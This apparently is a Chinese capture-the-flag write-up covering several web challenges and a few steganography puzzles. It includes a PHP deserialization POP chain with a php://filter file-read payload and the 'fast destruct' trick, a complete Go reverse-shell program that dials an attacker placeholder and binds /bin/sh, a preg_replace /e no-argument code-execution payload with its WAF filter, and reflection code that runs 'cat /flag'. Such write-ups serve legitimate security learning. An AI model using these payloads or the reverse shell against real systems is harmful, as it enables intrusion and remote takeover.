在源码找到base64
解码: /pop3ZTgMw.php
,访问获得源码:
highlight_file(__FILE__);
class night
{
public $night;
public function __destruct(){
echo $this->night . '哒咩哟';
}
}
class day
{
public $day;
public function __toString(){
echo $this->day->go();
}
public function __call($a, $b){
echo $this->day->getFlag();
}
}
class light
{
public $light;
public function __invoke(){
echo $this->light->d();
}
}
class dark
{
public $dark;
public function go(){
($this->dark)();
}
public function getFlag(){
include(hacked($this->dark));
}
}
function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/\.\.*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
$un = unserialize($_POST['快给我传参pop']); //
throw new Exception('seino');
突破点在dark类的getFlag方法,里面有个include可以文件包含,可以使用php伪协议绕过hacked函数
很简单直接构造poc
$a=new dark();
$a->dark="php://filter/convert.base64-encode/resource=/flag";
$b=new day();
$b->day=$a;
$c=new light();
$c->light=$b;
$d=new dark();
$d->dark=$c;
$e=new day();
$e->day=$d;
$n=new night();
$n->night=$e;
echo serialize($n);
O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}
我们把源码复制进phpstorm发现有点小问题:
post参数变了,
可能是不可见字符搞的鬼,我们需要将这些字符进行url编码再传参
post传参:
%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop
但是传参发现没用:
因为这里抛出了一个异常,导致destruct方法没有被触发,
我们可以使用 fast destruct
技巧提前触发 __destruct()
这里我们可以删除最后一个大括号 }
:得到flag的base64编码
本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的
__destruct()
,提前触发反序列化链条。
f12找到隐藏页面:
我们把index改为admin:
md5解码得到:
使用账号密码登录:
提示我们上传go文件后就会执行它,所以我们直接反弹shell
反弹shell go脚本
package main
import (
"fmt"
"net"
"os/exec"
)
func main() {
// 连接到攻击者的 IP 地址和端口
conn, err := net.Dial("tcp", "your_ip:9996")
if err != nil {
panic(err)
}
// 将连接交给 Cmd 对象处理
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// 启动 Cmd 对象
err = cmd.Start()
if err != nil {
panic(err)
}
// 等待 Cmd 对象执行完毕
err = cmd.Wait()
if err != nil {
panic(err)
}
// 关闭连接
conn.Close()
// 输出完成信息
fmt.Println("Shell session terminated")
}
构造上传页面
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Documenttitle>
head>
<body>
<form action="http://d5e624ee.clsadp.com/Adm1nUp104d" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="submit">
form>
body>
html>
上传脚本,服务器监听:
按一下提交得源码:
error_reporting(0);
include 'waf.php';
header("Content-Type:text/html;charset=utf-8");
echo "你是谁啊哥们?把钥匙给我!!!!
";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=waf($_POST['qaq']);
if (isset($_GET['key'])){
highlight_file(__FILE__);
}
if (isset($name))
{
echo "你是".$name."大人????
";
$name1=preg_replace('/hahaha/e',$qaq,$name);
echo "骗我的吧,你明明是 >>>>小小".$name1;
}
?>
注意看:preg_replace('/hahaha/e',$qaq,$name)
使用了 /e
参数,可能造成命令执行
preg_replace()使用了
/e
参数,如果在 $name中匹配到了hahaha
就会执行 $qaq中的代码
当前目录存在 waf.php
试了一下,发现 小数点 / 等东西都被过滤了,可以使用 无参数rce
name=hahaha123&qaq=highlight_file(array_pop(scandir(current(localeconv()))))
获得waf.php函数
function waf($poc)
{
if(preg_match("/[0-9]|get_defined_vars|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $poc)){
echo "hacker! you die!
";
return "666";
}
return $poc;
}
写到这有点不会了,查了一下无参数rce还有一种 session_start()
的方式
使用session将 /flag
传过去:
index.php:
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
private $password;
private $cmd;
public function __destruct(){
if($this->password==" //how to change the private variablessecret"){
system($this->cmd);
}
}
}
$a = $_GET['a'];
if(isset($_GET['a'])){
@eval(waf($a));
}
?>
robots.txt泄露:
User-agent: *
Disallow: hint.php
我们访问hint.php
提示我们需要使用这些方法,结合
我们知道了,我们需要使用反射,将源码复制到sublime中:
发现参数又有不可见字符,我们需要url编码:
%E2%80%AE%E2%81%A6%20%20%2F%2Fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret
直接使用反射即可,注意:由于属性是private,所以我们需要 setAccessible(true)
$flag = new getFlag();
$refl = new ReflectionObject($flag);
$pwd = $refl->getProperty("password");
$pwd->setAccessible(true);
$pwd->setValue($flag,"%E2%80%AE%E2%81%A6%20%20%2F%2Fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret");
$cmd = $refl->getProperty("cmd");
$cmd->setAccessible(true);
$cmd->setValue($flag,"cat /flag");
nodejs、沙箱逃逸
zsteg一把梭
把音频放进audacity
这是莫斯电码,解码
.-- --- .- .. ... .... .- -. -..- ..
WOAISHANXI
然后结合 题目知,这是snow隐写:
shanxiroujiamo
解压压缩包,得到两张图片
binwalk分离 key.jpg,得到另一张图片:
对照着上面的图片解密:BC1PVEYD
然后使用steghide即可: